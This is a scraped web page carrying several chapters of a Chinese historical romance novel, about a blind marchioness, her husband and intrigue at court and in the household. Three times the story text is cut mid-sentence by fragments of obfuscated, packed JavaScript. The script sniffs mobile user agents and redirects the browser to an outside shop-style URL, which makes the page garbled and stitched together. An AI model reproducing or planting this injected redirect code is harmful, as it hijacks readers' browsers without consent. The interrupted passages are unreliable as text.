乐安县主哪里能想到还能杀出这样的变数,还想狡辩:“陛下,乐安只是想请程夫人叙叙旧,并无恶意……” “住口!” 第一个出声斥责她的竟是皇后。 她面带愠怒道:“乐安县主当真好大的权势,这宫里竟然也有你的家仆。” 今日本就是是她率领众命妇宴饮,乐安在她的眼皮子底下动手脚,指使的还是宫人,只会显得她这个皇后失职。 她再怎么狡辩,在场的哪一个不是人精。若只是寻常说话,哪里用得着偷偷摸摸把人骗到这里来。更何况方才在门外,众人也不是没听到几句对话。 隆兴帝冷眼看着,直至皇后斥责完了才道:“卫琅,你既已成了金吾卫统领,今日的事就由你亲自来查。” 卫琅单膝跪地:“多谢陛下开恩。” 隆兴帝转头又问:“你便是程氏?” 程素同样跪倒在地,深深叩首:“民女见过陛下。” 隆兴帝居高临下地打量着她。 他今日本就是要给卫琅他们做脸面的,谁能料到中间竟会出这样的插曲。不仅扰了他的兴致,还牵扯到了宫里人。 没有一个皇帝会不忌讳别人把手伸进宫里的,今日胆敢在宫宴上带走命妇,难保他日就有人敢对乾元殿起心思。 然而,不说跪在地上的人本是苦主,看旁边卫琅焦急不安的模样,他最终也只是冷冷道:“乐安县主即日起贬为庶人,此生不得再踏入宫中一步。” 说罢,他拂袖而去。 皇后等人也随之离开,不过离去前,也简单地安抚了程素一两句,便把这烂摊子交给了卫琅来收拾。 没人再去看瘫倒在地的乐安一眼。 若说此前她只是家里失势,这一回却是连县主的名号也没有了,甚至之后要如何发落,也要看卫家的意思。 然而卫琅早已无心管这些。 他命人看好了乐安等人和那名宫女,便带着程素先行离开。 出了这样的事,卫家人终于有借口早早离席了。卫琅陪女眷们登上马车,准备先回去安顿好程素,再彻查方才的事。 马车辘辘地远离了宫城,一路向着侯府方向疾驰而去。 …… 车厢内,程素感受着埋在她脖颈间那颗脑袋的份量,终于忍不住道:“……侯爷,我真的没事,你可以松开了。” 从上车起就一直借机抱着她不撒手的某人终于动了一动:“真的吗?” “……千真万确。” 卫琅才舒了一口气,闷闷道:“……你不知道,方才听说你不见了,险些没吓死我,就怕你出了什么事。” 程素沉默片刻,才伸手试着拍拍他的后背以示安抚:“这是在宫里,我可是侯夫人,她们不敢乱来的。” 卫琅摇头:“那宫里才是天下第一等是非之地,什么事都有。” 若是她能和常人一样,他也能放心些,偏偏她身边一刻也离不了人。正因如此,他也一直不愿带她进宫。 他越是如此,程素心里反而越是愧疚:“抱歉,让你担心了。” 卫琅想也不想道:“你道什么歉,这事能怪你吗?倒是有些人,我还没去找她们的麻烦,她们竟然敢打你的主意。” 一想到这,他就恨得牙根直痒痒。 俗话说冤有头债有主,那姓韩的小白脸当年辜负了素素,还想再来纠缠,他也只找了他几次麻烦,从没把乐安放在眼里,却不曾想那蠢货才是罪魁祸首。 程素只听他冷笑:“……乐安那蠢货不过是个明面上的靶子,只怕背地里还有什么人,是想对我们卫家下手呢。” 乐安家里早已失势,没有人在背后支应,区区一个县主能在宫里翻出什么风浪,更别说还能支使宫人行事。 这样一说,程素也回忆起来了:“……先前那为我引路的宫女身上,隐约有一股奇异的幽香,夹杂着几种名贵香料,其中有一味香料,闻着像龙涎香气。” 龙涎香产自异邦,名贵难寻,是宫廷御用之物,民间只有少许私下流传。 不过她也拿不准,毕竟今日宫宴,席上到处都是贵人,那宫女行走间也可能沾染,说明不了什么。就算是她凭记忆能大致复原出香方,可宫里那么多贵人,也指不定有人用了同一种香。 卫琅的老毛病这时候又发作了,忍不住开始大夸特夸起来:“素素,你怎么这么厉害,这什么那什么香的混在一起,怎么一闻就闻出来了。” 程素只好低声解释道:“岭南虽被人称为烟瘴之地,但物产丰富,尤其盛产各种香料。我和母亲这些年经营过一些香料生意,因此能分辩一二罢了。” 卫琅又凑了过来,脑袋像只小狗般胡乱在她肩头上蹭来蹭去:“满京城熏香的人那么多,也没见几个能说得出子丑寅卯的来。还是我们素素厉害。” 程素不得不抬手按住乱动的他,忽然问:“……我方才所说的话,侯爷听了就没什么想问我的吗?” 卫琅:“?” 程素静了一会儿,才轻声解释:“最开始那宫人失手把酒泼在我身上时,我便有预感了,但我还是跟她走了……” 卫琅想也不想道:“那又怎么样,就算你当时不跟着那个人走,她们明摆着要算计你,也会换别的人来骗你,总会找到让你怎么也躲不开的借口。” 程素低声道:“虽是如此,可我也是自愿跟她们走的,还把卫家也牵连了进去。若是我没有事先交待过青桂偷偷跟上,若不是正好赶上通传圣旨,或是你们来迟了,乐安的胆子再大一点……” 卫琅接道:“可结果不是很好吗,我们素素聪明机变,什么都想到了。除了让自己身置险境这点太过冒险,其他的你什么错都没有。至于说牵连卫家,她们敢对你做这些小动作,已然是没把侯府放在眼里,也合该让他们知道我的厉害。” 他伸手点了点她的额头:“素素,你是不是从小到大没做过坏事?” 程素抿唇不语。 她想说的不只是这些。 卫琅也许对当年她那连搭救都算不上的恩情念念不忘,可她心里清楚,自己也许并非他幻想里的那个人。 她不是什么圣人,也并不温婉贤淑。会有怨,也会有恨。 跟韩元清那桩婚约,她并未放在心上,但却无法忘记当初因此而招致的刺杀。无论是险些连累了父母,还是迄今未能复明的双眼,长达数年不见天日的黑暗,都足以让她如鲠在喉。 可惜,她只是一个普通人。 纵使是遇赦还京后,得知乐安一家失势,她也无力报复。 直至宫宴上察觉到被人窥视后,她便意识到,自己的机会也许来了。 她当着乐安的面说的那些话,还是极力克制后的,若非顾忌门外的人,她也不知道自己会对着仇人说出何等尖酸刻薄的话,以泄心头之愤。 在她看不到的地方,卫琅的脸色不断变换,表情十分奇怪。 好吧,他的素素非但没干过什么坏事,看起来连人坏话都没怎么说过。 听闻已逝的岳父大人是个正直君子,才导致自己被牵连贬官,没想到素素也有一样的毛病。明明只是做了正常人都会做的事,却还如此苛责自己。 这样认真得几近古板的性子,让他只觉她呆得可爱:“好了,不要再往自己身上揽错了。你一点错也没有,是我考虑不周。若说有错,也只有一点……” 程素:“嗯?” 卫琅不满道:“你心思太重,想什么都不告诉我。” 程素一时失语。 随即,她心头涌上了一种深深想叹气的冲动。平生头一次,她对一个人只有深深的无可奈何,完全不知该如何是好。 卫琅学着她先前的样子,也拍了拍她的脑袋:“不过我今天还是很高兴。” “你终于肯跟我说说心里话了。” 不是满口的侯爷,也不是什么都只会应是的温婉妻子,而是她的真心话。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083847|193938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 虽然话里话外的意思还是他还是不太爱听,不过也算是难得的进步了。 程素只觉肩头一沉,卫琅又顺势靠在了她的身上,就这么抱着她。 她终于也不说话了。 两人静静地听着彼此的心跳声,感受着这片刻的缱绻,还是程素先回过神来,清清嗓子道:“……好了,我们说回方才的事。你之前可得罪过宫里的什么人?” “当然没有……不,也不是不可能。” 卫琅想也不想地否认,他又不是傻子,什么人能得罪什么人不能得罪,心里还是有数的。可话说到一半,他忽然想起了什么,顿时也不确定起来。 隆兴帝当初想让他尚公主一事,就算没有声张,也不代表没有其他人知晓。 程素一脸若有所思道:“原来侯爷还与公主有缘。” 卫琅急急道:“你想什么呢,我跟那二位可半点关系也没有。” 说白了,他是跟从前的端王府关系不错,可也仅限于跟隆兴帝这个便宜世叔,跟其他人可没什么交情。 要说王府时期,其他人还愿意对他客气一二,如今个个成了龙子龙孙,那点交情人家只是嘴上说说,心里早就不认了。 隆兴帝如今还是年富力强的时候,太子和二皇子两派就已经开始明争暗斗。宫里还有一位贵妃,若不是她膝下的皇子尚且年幼,指不定要乱成什么样了。 卫琅还是有自知之明的。 就算这次背后支使乐安的当真是某位公主,那也不可能是因为争风吃醋,反倒更可能是由于看不上他,恼羞成怒而已。 就像乐安当年抢了婚事,还要落井下石致程家于死地,在有些人眼里,低位者的生死,不过是顺手而为的事罢了。 对方看不惯他,可卫琅毕竟是定远侯,不能真像捏死一只蚂蚁一样捏死他,才让程素代他受了无妄之灾。 无论乐安,还是她,都不过是对方眼里随手游戏的棋子而已。 不过这些就没有必要跟程素说了。 然而即便他不说,程素也已然猜到了许多,她轻声道:“既然如此,这件事便查到乐安为止,就再好不过了。” 无论背后的人出于什么心思,她借此机会,把当年的仇已经报了,卫琅也把事情闹大到了隆兴帝跟前。只要对方不想结怨更深,就应该懂得见好就收。 卫琅才不想听她的话,嘴上哼哼了两声假装应下了。 说话之间,马车慢慢停下。 侯府已经到了。 程素被卫琅扶着下了马车,忽然感觉面颊上一片冰凉,随即听到对方的轻笑声:“才一会儿的功夫,又下雪了。” 从皇宫到侯府这一段路的距离,天上已经下起了鹅毛大雪。程素虽然看不见,却也能想象到这样的盛景。 卫琅望着她仰头感受下雪的模样,不知不觉跟着笑了起来。 另一边老夫人也携着卫若下了车,见两人并肩而立,姿态亲昵,宛若一对璧人,不由得笑着打趣:“方才我和若若还在担心,看你们这样,我也能放下心来了。” 一家老小说说笑笑,往府里走去,准备回松芝堂好好举行除夕家宴。 松芝堂内灯火通明,众人还没进屋,就见留守在家的卫珏匆匆迎了出来。 他今日没有一同去宫里赴宴,而是留在府里,这会儿一见了众人,就满脸求救的表情,偏偏一个字也说不出来。 等进了屋,只见屋里坐着四夫人薛氏,她见众人进来,也只是不紧不慢地放下茶盏,不冷不热道:“呦,各位可是从宫里回来了,可让我和阿珏两个好等。” 一听这话,卫琅便什么都明白了,心下生出了淡淡的不悦。不过到底是大过年的,对方又是长辈,他也不想当着祖母和弟弟妹妹们的面给人不痛快。 正打算打圆场糊弄过去,却听老夫人沉声道:“阿琅,你先带素素回去,今晚她受了惊,你好好多陪陪她。” 此时估计已将近亥时,这样一来一回,只怕今年的除夕家宴都要耽搁了。不过祖母已经发话,卫琅虽有些迟疑,却还是恭敬道:“孙儿遵命。” 老夫人又道:“阿珏,今晚我和你兄嫂都乏了,今年你陪你若若妹妹守岁。” 卫珏也只好应下,拉着卫若离开。 转眼之间,方才还在场的众人走空了,此时屋内只剩下了薛氏和老夫人。 老夫人闭了闭眼,再睁开时已一片清明冷漠:“人都走了,想说什么就说吧。” 22. 第二十二章 卫琅先送程素回到抱筠居。 两人又说了一阵儿体己话,眼看天色不早了,他打算安顿程素先歇下,自己继续回宫里去处理先前那事。 正准备出门,却听程素阻拦道:“你莫要急着回宫,先去看看松芝堂那边如何了,我有些担心老夫人。” 若非她提起,卫琅几乎都把之前那点不愉快给忘了,这会一想起来,还是忍不住皱眉:“你说的是四婶那事?” 在卫琅看来,那不算什么大事。 无非四婶看老夫人今晚带了素素进宫,心里不平罢了。大不了明年素素不去便是,这有什么好计较的。弟弟卫珏也没跟着一起去,也不见得他说酸话。 若对方因为这点小事就要记恨,甚至顶撞老夫人,那未免也太不懂事了。 程素却道:“不是你想的那么简单。” 她把这些日子查账的事简单一说,听得卫琅的眉毛高高挑起。 他以往没关心过这些,哪里想到自家府上竟然也有这样的事:“……家里什么也没缺了她的,祖母把中馈交给她,她就是这么回报她老人家的。” 程素却道:“四夫人一个人孀居,身边无依无靠,将来的事如何还不好说,有私心为自己打算,也是人之常情。” 只是她用错了法子。 她若是缺钱,或是想备份身家,大可以跟老夫人说,或是另想法子攒些家私,而不是对公中的账动手脚。 卫琅道:“老夫人也真是的,这都好几年的事了,她也能沉得住气,竟然一点口风也没透露,一直忍到今天。” 程素摇头:“只怕不是因为这个,老夫人若想追究这些账目,当年便能查了,不必等到如今。只怕是背地里还有什么事,犯了老夫人的忌讳。” 但她知道的也就这么多了,能做的不过是提醒卫琅:“这事老夫人自有主张,你去了什么也别说,好好安慰她老人家便是。若若先前提醒过我,老夫人和四夫人毕竟是多年的感情,就算是她做过错事,老夫人处置了她,自己也会伤心。” 卫琅笑道:“我自有分寸。” 程素才不放心他,细细地交待道:“你一个人去只怕不够,最好再去叫上阿珏和若若他们,有你们陪着,老夫人也能宽心些。今日怎么说也是除夕,你们一起好好陪老夫人吃顿年夜饭。” 卫琅故意逗她:“只我们吃年夜饭,你自己呢?” 程素迟疑道:“……我便不去了,若不是因为我,今晚也不会生出许多事来。” 卫琅没忍住抬手用力地刮了下她的鼻子:“又胡说,没了你,那算什么家宴。先前在宫里,想你也没正经吃过什么东西,先用些点心垫垫肚子。等我去松芝堂那里打探好情况,便回来接你,咱们一家人还要一起守岁呢。” 他说罢俯身,借着程素为他系斗篷之际,亲了一下她的额头,这才转身走了。 程素虽习惯了他时不时的偷袭,可他这样明目张胆,还是让她惊了一下。 好在他的动作飞快,丫鬟们也许是没看清楚,也没拿她打趣。她这才放下心来,安心等着卫琅那头的消息。 …… 另一边,松芝堂内。 薛氏也不是傻的,众人一走,她哪里不知道老太太这是要关门训她。 若是往日,她自然也就软下来了,赶紧认个错,把这一节揭过就算了。可偏偏不巧,今天她也窝了一肚子火。 她在莳芳院歇了大半日,等到了晚上也不见松芝堂打发人来叫她吃饭。 一问才知道,老夫人已经携了程素和卫若进宫朝贺去了。 这下可没把薛氏气坏了。 往年宫宴时,她可没少讨好那老婆子,想多进宫看看,可她就是不肯。怎么那程素一进门,她就把人带出去了。甚至这一次,都没人跟她打声招呼的。 她心里怄气得要命,却还装傻道:“老夫人,可是儿媳说错了什么。” 老夫人淡淡道:“不是你说错了什么,而是你想说什么。这会儿就只有我们两个了,何必还藏着掖着。你难道不是看我今日只带了素素她们进宫,却唯独落下了你,想找我这老婆子兴师问罪的吗?” 薛氏见她这般不留情面,只得咬咬牙道:“儿媳不敢。” 老夫人语气微嘲:“宫里早几天就派人来传旨了,你稍微用心些也不至于什么都没听说,也不知这些天你早出晚归,整日不着家,又在忙什么?是又在算计着从哪里刮些油水,好填充你的私房?” 薛氏一噎,她那几天自然是忙着跟娘家以及邬管事等人商议年后如何给程素下套、将来田庄到手后如何分成等事。 可听老太太的语气,竟好像已经知道了什么似的。 她心神俱震,一时拿不准对方究竟知道了几成,连忙掩面哭诉道:“老夫人,儿媳不过是今日心里委屈,才一时想岔了的。您说这话,实在令儿媳惶恐。” 她楚楚可怜道:“莫非您还记着当年的事,可是儿媳当时已经知错了。当时不还是您亲口说的,愿意就此既往不咎,过去的事都一笔勾销……” “我是这么说过……” 不等薛氏松口气,老夫人又冷冷道:“但是我反悔了。” 她垂下眼道:“一年前,我回了趟江州老家,你不会已经忘了吧。” 薛氏愣了一下。 这里面有江州什么事? 见她想不起来,旁边的李嬷嬷看不下去了,斥道:“你莫不是忘了,老夫人年年会拨出一笔钱款给族里,用于添置祖产、安顿生活困顿的族人。可从你打理中馈过后,这笔钱就不翼而飞了。” 薛氏心里一紧,这才想起了这么一回事。她当年手底下过了那么多糊涂账,方才哪里想到江州那里还有一笔等着她。 不过她也并不慌乱,毕竟当初是那老婆子自己说了既往不咎的,只要她一口咬死了这话,她能拿她如何。 她面上仍哭哭啼啼道:“儿媳早已经知错了,儿媳再也不敢了……” 老夫人早已冷了心,再看她装腔作势,也只剩满心冷笑:“你不敢,还有什么你不敢的?你不仅敢借侯府的名头,在外放印子钱牟利,敢抢走那些孤儿寡母的生计,还敢谋夺卫家的族产。” 薛氏被斥得脸上有些挂不住,心下愤恨,可眼看老夫人今日是铁了心要翻旧账了,还是不得不找借口:“……老夫人,是我错了,我当年是一时迷了心了。您都知道的,我无夫无子,只怕日后老了没着落,才想着多攒些财物。” 老夫人斥道:“你不必说了,昔年我为让你安心,曾告诉过你有意让阿珏兼祧两房,日后好为你养老。结果你是怎么做的,你屡次三番想把你娘家那两个侄女塞给他,究竟是为了他好,还是为了别的什么,你自己心里清楚!” “还有,不说当年,你这些日子去过哪里、见过什么人,我都已一清二楚。” “卫家待你早已仁至义尽,可你盯上的可从来不是那一点半点。” 薛氏听她说到一半,便如遭雷击,她没想到,自己背地里的盘算竟然被知道得一清二楚,只觉浑身鲜血往头顶涌去。 她没想到自己一番苦心谋划,原来早已成了对方眼里的跳梁小丑。若不是今日对方说破,只怕她还要一直蒙在鼓里。 气急败坏之下,她竟顾不上掩饰,怒道:“是谁告诉你的?那个瞎子?凭什么她说什么是什么!什么仁至义尽,为了你们卫家,我大好年华白白守寡,都是那卫四自己短命,反而害得我……” 李嬷嬷眼看她越说越不像话,果断喝道:“来人,堵住她的嘴!” 两个仆妇冲进门来,二话没说把挣扎的薛氏按在地上,用帕子堵住了她的嘴。 老夫人语气讥诮:“为了我们卫家,这话说出来你自己信吗?当年抱着我的腿,哭着不肯回娘家的人又是谁。” “罢了,你既然如此怨恨,我给你两条路,你自己选。第一,从今往后,你在府里安心守寡,还是卫家四夫人,若无允许,不得踏出院门一步。” “第二,你自己离开,日后是再嫁也好,回娘家也罢,都与侯府再无瓜葛。” 薛氏怎么可能接受,当即继续用力挣扎起来,两个仆妇都险些没按住。 她既不想被禁足,当真过清心寡欲的日子,也没傻到要放弃侯府的荣华富贵。不说薛家那群破落户根本靠不住,要说再嫁人,她上哪再去找第二个卫家。 老夫人也不需要她的答案,冷冷道:“怎么,一时选不出来吗?” “想不出来你就回去慢慢想,等什么时候你想明白了,再从莳芳院出来。” 薛氏口中呜呜,似乎还想说什么,却被李嬷嬷使了一个眼色,被拖了出去。 …… 屋内终于又恢复了寂静。 李嬷嬷望着老夫人,心疼道:“您莫要为这种人再气坏了身子。” 老夫人叹了一口气:“这么些年,我竟然连这样一个人都看不清,我还当什么老夫人,还是当老糊涂吧。” 李嬷嬷安心道:“您且宽心些,不说小侯爷和二公子、三姑娘可都是您一手带大的好孩子,就是远在边关的二夫人也跟您最是贴心不过。您何必为了这一颗老鼠屎,反倒往自己身上揽过。” 老夫人只是摇头。 她现在一闭眼,就忍不住回想起当年幼子的死讯传来的那天。 她的四郎,年龄最小的儿子,才新婚不久就去了边关,也跟他两位兄长一样战死沙场,死时还不满弱冠。 可那时的她不得不忍着悲痛,先关照着刚过门不久的儿媳薛氏。 毕竟当年长子和三子战死后,大儿媳动了胎气,生下卫琅不久后就撒手人寰;三儿媳,也是若若的母亲受了刺激,自此疯疯癫癫,精神失常。 她也是女人,知道丧夫守寡的苦楚,不忍心看薛氏年纪轻轻就把一辈子都葬送在卫家,主动提出让她改嫁,给她一份嫁妆,让她好好地重新嫁人。 却不曾想年轻的四儿媳抱着她的腿苦苦哀求,说千万不要让她回到薛家,说她不想再嫁,只想留在侯府。 薛氏说,因她是家中庶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她疼溺儿子,四个孩子的婚事都凭他们心意而定,其他三房无论后来结局如何,夫妻二人都情深意笃,唯独幼子当年的选择,竟是如此结果。 当年幼子来到她跟前,不好意思地说自己救了个落水的姑娘,坏了人家名节。 最初她也起过疑心,但调查过后那事确出偶然,便没再多想,再看那时的薛氏是个老实可怜的姑娘,跟薛家旁人不同,最终也就点了头,却不料人心易变。 正因如此,在长孙卫琅的婚事上,她破例地插了一手。她当初向云夫人求娶,也是经过一番考量的。 旁人都要讲究门当户对,与相当的人家联姻,可她却从不这么想。 论权势,卫家已经位列公侯,她的二儿子在边关手握数十万大军。武将出身的人家本就容易犯忌讳,就算能在朝堂争斗中保持一时中立,可有姻亲牵连,也难保以后不会沾染上是非。 她老了,也不知道还能守住儿孙多久,不求他们再如何富贵通天,只求一家人能齐心协力,和睦友爱。 她所看重的长孙媳妇,除了容貌教养外,无非家风清正,性情坚贞,能在权贵之家的大起大落中能守得住的。 李嬷嬷笑道:“都说日久见人心,往后再过十几二十年如何,奴婢也不敢打包票。不过眼下来看,没人比少夫人再合适了。谁能想到,您定下的这桩婚事,当真成了小侯爷的良缘。” 想起长孙和程素,老夫人心里也宽慰多了:“只可惜了素素的一番谋划。” 当日程素不过几句话,就试出了薛氏的心思,也让老夫人彻底冷了心。 她们起先是打算等年后,薛家人和那些吃里扒外的管事都入了套,再新账旧账一起算。不料今日薛氏自己硬要往枪口上撞,老夫人也懒得再虚与委蛇下去,索性把事情挑破了说,也早早落个清静。 一主一仆正在说着话,突然外面有人来报:“侯爷过来了。” 老夫人连忙拭去眼角的湿润水痕:“让他回去吧,都已经成婚了,大过年的,还来叨扰我这老婆子做什么。” 话音刚落,就听见门外传来卫琅的声音:“正是过年才要来叨扰您老人家,要不然我们又能上哪去讨押岁钱呢?” 吱呀一声,屋门大开。 卫琅一手拉着卫若,一手拉着卫珏,三个人齐齐整整地出现在门口。 老夫人连忙起身,口中笑骂道:“当着弟弟妹妹的面,还惦记着押岁钱,说出去也不怕人家笑话。” 卫琅笑道:“在您面前,我们永远都是小辈,有什么不好意思的。” 他只一眼扫过去,就看出祖母情绪不对,心道还真让素素猜中了。只是让他这个人油嘴滑舌几句还行,做贴心小棉袄什么的,恐怕还是得换人来。 卫琅当即推了弟弟妹妹们一把,示意他们赶紧过去,嘴上笑道:“素素让我先把两个小的先带来了,我还要回去接她呢。小厨房灶上已经备了半天的菜,咱们都不吃,岂不浪费,一会儿咱们就开宴。” 23. 第二十三章 尽管这一晚上波折不断,但最终众人还是陪着老夫人吃了年夜饭,饮了屠苏酒,又一起抹骨牌,齐心协力把老人家哄得眉开眼笑,这才冲淡了先前的氛围。 不过这一晚的守岁,众人都没能像往年一样撑到五更天明。 年龄最小的卫若最先开始身子摇摇晃晃、东倒西歪,小脑袋也不时一点一点的,让老夫人看了爱怜不已,忙让仆妇把她抱到自己的榻上休息。 第二个撑不住的,竟然是向来最精神的卫琅。许是今晚喝多了酒,他很快也呵欠连连,几次半闭着眼往程素身上倒。 无奈之下,程素只好先跟老夫人他们告辞,带他回了抱筠居。 这一个晚上发生了许多事,其实她也有些乏了,便嘱咐了丫鬟们明日早些喊醒她,跟卫琅一起睡下了。 待她的呼吸渐渐匀长起来,身旁本应该睡着的人才睁开了双眼。 卫琅撑着胳膊欣赏了一会儿她的睡颜,这才蹑手蹑脚地起床离开。 他悄无声息地来到门外,吩咐道:“备马,我要回趟宫里。” …… 除夕过后,四夫人薛氏被禁足在莳芳院,由人严加看管,不得踏出房门一步。 众人都很默契地没有再去询问老夫人这其中发生了什么。 卫琅等人或许并不清楚长辈间的龃龉,不过这位四婶平时如何行事、这几年又是如何对待祖母的,他们也都看在眼里,心里自然如明镜一般。 然而隆兴四年的伊始,就注定了这将是极不太平的一年。刚过了新年,边关突然传来战报,安分了不到十年的突厥忽有异动,小规模地骚扰边境。 好在镇守边关的卫大将军把敌军一举击溃,及时震慑了蠢蠢欲动的突厥诸部。 事后,经斥候查探得知,突厥老可汗已于不久前过世,大王子和三王子早有不和,顺势分裂为两部,彼此争斗。 恰逢今冬大雪,突厥人粮草短缺,便又骚动起来,随时准备南下。 沉寂了数年的战事又起,除了隆兴帝和朝堂上的文武百官外,最忧心的莫过于像定远侯府这样的人家了。 卫珏的父亲多年来驻守边关未归,一旦战事再起,首当其冲的他们一家子。 留在京城的卫珏本人自是不用说,还有老夫人虽然嘴上不说,但也免不了为儿子儿媳一家担忧。这一来二去,她心里便压了许多事,精神有些不济。 还在正月里,程素在回家看望过母亲后,便跟卫琅商量了一下,打算想把云氏接来府上小住几日。 卫琅巴不得身边能多个人陪她,自然是忙不迭把岳母请来了。 不过程素这次请云氏过来,倒不全是为了满足自己的思念之情。 自从她嫁到侯府后,程家就只剩下了云氏孤零零一个人。前些年她们去了岭南,几年过去,物是人非,家里在京城的故旧不多,她担心母亲一个人太孤单,几次三番地请母亲过府一叙。 然而云氏担心女儿才刚成婚不久,自己就频频上门,反而打扰他们,便一再推辞不肯。直至这次小两口再三邀请,她才终于点头来了侯府作客。 也许是看到程素终生有托,再加上有侯府延请的太医诊治,这几个月精心调养下来,云氏的身子有了起色,如今也不似先前那般病殃殃的了。 她一来,除了程素外,最欢喜的当是老夫人。 两人虽然差了辈分,但彼此之间也颇能谈得来,仿佛忘年交一般。从前程素还未嫁进侯府前,她们便常常闲聊。 眼看两位长辈有了个可以互相陪伴说说知心话的人,程素也松了口气。 私底下,云氏悄悄问她:“我听老夫人说,你和卫侯爷至今还未圆房?” 程素脸上一热:“娘。” “叫娘也没用,”云氏嗔道,“依我看来,卫侯爷待你还算不错,你当日既已决定嫁了,就莫要反复犹豫。何况少年人本就心性未定,你若一味推拒,让两人生分了,反倒辜负了这段缘分。” 程素本想解释,她并没有抗拒卫琅,这事也不是她一人说了算的等等。 可她的话都到了嘴边,却变成了:“您放心吧,我都明白。” …… 几日后,抱筠居内。 今日照常是太医来为程素诊治眼睛的日子,屋里出乎寻常的寂静,所有丫鬟们都在屏气凝神地等待着什么。 白芷屏住呼吸,小心翼翼地将缠覆在程素眼上的白纱取下。 帘后的太医十分谨慎地问道:“夫人,可能看见什么了?” 程素缓慢地睁开了眼。 随即,她下意识抬起了手,遮住刺眼的光线,直到慢慢适应后才放下。 昔日那仿佛亘古不化的黑暗褪去,她的眼前忽然有了其他的颜色。只是那所谓的颜色也大多是白茫茫一片,上面重叠着几块深浅不一的阴影。 她努力睁大双眼,试图将那些阴影看清,但无论怎么看,仍只是一大团不辨形体的模糊,连轮廓都看不清楚。 纵是如此,也够让人惊喜的了。 按照原先的估计,她这双眼怎么也要再过几个月才能有起色,但没想到她能恢复得这么好,这会儿就初见成效。 丫鬟们个个喜上眉梢,小檀年纪最小,当即跳了起来:“我这就去松芝堂,告诉咱们夫人、老夫人,还有三姑娘。” 由于事先怕让大家空欢喜一场,程素今日特意没让母亲和卫若过来,如今当真有了好消息,自然要给她们报信的。 程素笑了笑,只嘱咐她慢点跑。 太医颇为欣慰地捋了捋长须,临走前叮嘱道:“可惜眼下是冬日,若是等初春天气晴暖后,夫人多出门去走动,再过些时日,定会恢复得更好。” 程素再三谢过了太医,命人再取了诊金和谢礼,让白芷代她送客。 青桂笑道:“还得让人给侯爷送个信,他若知道,必然高兴坏了。” 程素的嘴角也噙着笑意:“不,先不急着告诉侯爷,等我的眼再好些再跟他说吧,只当是……给他一个惊喜。” 怀着这样的心情,等到傍晚卫琅下值回来,她时不时要打量他。 可惜,她眼前仍只有一片浅灰色的阴影,连个人形都辨不出来,就更别说想看清卫琅究竟长什么模样了。 卫琅自然发现了她的偷“看”,一时摸不着头脑,下意识又夹了一筷子刚刚放到程素碗里的菜,自己尝了尝。 好像也不难吃啊。 他想不明白,不过之后还是没有再夹那道菜了。 饭后,老夫人把他单独留了下来。 卫琅本以为祖母要交待他什么要紧事,结果一听,原来是为了几日后的上元节,让他带弟弟妹妹去宫里的灯会玩。 老夫人嘱咐道:“马上就要到上元了,今年若若难得肯出门见人了,你又在宫里当值,正好带她和阿珏去看看。” 为表示与百官同乐,隆兴帝今年特意在宫中设立了一处灯市,命宫人扮作民间摊贩,允许臣子携带家眷入内赏玩。 宫里的灯会,论手笔比民间的还盛大,宫灯也更精巧,人流也没有那么拥挤,正适合带卫若出去见见世面。 可卫琅才不乐意整天带孩子:“若若让阿珏带着去不就行了,我那晚还要当值,哪有空陪他们去看小孩子玩意儿。” 老夫人挑眉:“哦,若是素素也一同去,你也不肯陪吗?” 卫琅想也不想道:“素素才不去,她的眼还没好,去那里做什么。” 不久前程素刚在宫里出了事,虽只是虚惊一场,可那事才过去几天,眼下还没出正月,他怎么敢再放她进宫里。 老夫人张口正欲解释,想到什么话到嘴边又变成了:“……你还记着上回的事呢?陛下不都已经替你出气了?” 卫琅扯了扯嘴角,什么也没说。 除夕那晚,他连夜回去处理那事。结果涉事的宫人一口咬定,她们是收了乐安县主的好处,才会帮她做事,乐安那边也同样十分痛快地认罪了。 主犯和从犯都承认了,事情到了这里,明面上怎么看也没有疏漏了。 可他就是不信,区区一个失势的县主,能让那两名宫人帮忙骗走侯夫人。 卫琅只得把人打了二十板子,放了回去,先把矛头对准乐安这边。 他先是借机翻了韩家的旧账,查出了韩元清的父亲在任上收受贿赂之事,直接把被贬为庶人的乐安连同韩元清一家人流放西北,了结了程素当年之仇。 然而,当他打算掉头继续查宫里时,却得知被放回去的两名宫人暴毙而亡。 卫琅虽然厌恶那两个宫人为虎作伥,可那毕竟也是血淋淋的两条人命。 何况身为奴婢,她们的行事只怕也是被主子指使,事后却又被灭口。 老夫人听了之后沉吟半晌:“既然如此,那这件事就到此为止吧。你也应该借这次机会,顺便带素素再去趟宫里,向陛下谢恩。” 卫琅高高地扬起眉毛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098403|193938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“谢恩?” 谢恩自然是要有的,可这事还没了呢,他这会儿去谢什么恩呢。 老夫人没好气地看着他:“就算那韩家不算什么,可若没有陛下默许,就以言官们看你不顺眼的程度,你以为你能如此轻松地把他们流放到西北?” 卫琅哑口无言。 